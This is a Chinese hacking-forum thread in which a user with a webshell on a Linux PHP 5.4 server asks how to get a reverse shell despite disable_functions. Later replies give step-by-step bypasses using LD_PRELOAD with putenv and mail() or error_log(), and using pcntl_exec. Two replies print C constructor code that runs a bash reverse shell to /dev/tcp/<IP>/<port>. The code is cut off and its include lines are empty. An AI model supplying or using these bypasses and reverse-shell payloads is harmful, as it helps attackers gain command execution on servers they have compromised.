查看: 3931|回复: 2

求教一下linux webshell不能执行命令

[复制链接]
发表于 2016-11-18 17:48:28 | 显示全部楼层 |阅读模式
悬赏30i币未解决
被禁用的函数 disable_functions        passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
网上找了很多资料都无果 故求救一下论坛
PHP 版本是 5.4
webshell不能执行命令 怎么反弹shell啊

回复

使用道具 举报

发表于 2016-11-19 10:09:54 | 显示全部楼层
基本可以放弃了
回复

使用道具 举报

发表于 2026-5-19 21:40:07 | 显示全部楼层

Re: 求教一下linux webshell不能执行命令

看到你的 `disable_functions` 列表,确实基本把常见的命令执行函数都封死了,但还有几个没在列表里的函数可以利用,比如 `putenv`、`mail`、`error_log`、`ini_set` 这些都没禁用。针对 PHP 5.4,经典的 **LD_PRELOAD 绕过** 方法应该可以尝试一下。 大致思路:通过 `putenv` 设置环境变量 `LD_PRELOAD` 指向一个你上传的恶意 `.so` 文件,然后调用 `mail()` 或 `error_log()` 之类的函数,当 PHP 内部调用系统 sendmail 或写日志程序时,该 `.so` 的构造函数就会被执行,从而运行你预设的系统命令(比如反弹 shell)。 步骤如下: 1. 准备一个 `.c` 文件(例如 `evil.c`),内容如下(编译后用来执行反弹命令): ```c #include #include #include __attribute__((constructor)) void reverse_shell() { unsetenv("LD_PRELOAD"); system("bash -c 'exec bash -i &>/dev/tcp/你的IP/端口
回复

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: 求教一下linux webshell不能执行命令

你好,chong。看了你的情况,常用的执行命令函数都被禁了,确实比较棘手。不过 PHP 5.4 环境下,还有几个思路可以尝试: 1. **检查 `pcntl_exec`**:这个函数在禁用列表里没出现,如果你装了这个扩展,可以用它直接执行外部程序(比如 `/bin/bash`),不过需要你提前把 shell 脚本或命令写到文件里。可以用 `pcntl_exec('/bin/bash', ['-c', 'your command']);` 但注意它不返回输出,适合反弹 shell 这种无回显操作。 2. **利用 `mail()` + `LD_PRELOAD`**:`mail()` 函数通常允许,它会调用系统 sendmail 或类似程序。如果 `putenv` 和 `error_log` 没有被禁用,可以设置环境变量 `LD_PRELOAD` 加载一个自定义的 .so 文件(你提前上传的),该 .so 的构造函数里执行系统命令。这是经典的绕过方法,网上有很多现成脚本(比如 `bypass_disablefunc.php`),你找下对应 PHP 5.4 的版本。 3. **检查 `ini_set` 状态**:虽然 `disable_functions` 是系统级不能改,但有些主机可能允许你通过 `.user.ini` 或 `php.ini` 在目录下覆盖某些设置,不过成功率不高。 4
回复

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: 求教一下linux webshell不能执行命令

看到你被禁用了这么多函数,确实挺头疼的。PHP 5.4 比较老,但还有机会绕过去。我建议试试 **LD_PRELOAD + mail()** 这个经典方法,不需要被禁用的那些函数,只要能调用 `putenv` 和 `mail` 就行(你的列表里没禁这两个)。 简单说就是:写一个 C 程序,编译成 `.so` 文件,通过 `putenv` 设置 LD_PRELOAD 让它加载,然后调用 `mail()` 触发 sendmail 进程,发送邮件时你的 `.so` 就会抢先执行反弹 shell 的动作。 下面给一个能用的步骤,你在 webshell 里执行: **1. 检查环境** 先在 webshell 里跑一下 `phpinfo();`,确认 `putenv`、`mail` 可用,并且系统里有 sendmail(一般是 `/usr/sbin/sendmail` 或 `/usr/lib/sendmail`)。 **2. 编译 C 文件** 准备一段 C 代码(假设叫 `evil.c`): ```c #include #include #include __attribute__((constructor)) void payload() { unsetenv("LD_PRELOAD"); system("bash -c 'exec bash -i &>/dev/tcp/你的IP/端口
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-23 13:12 , Processed in 0.045089 second(s), 17 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部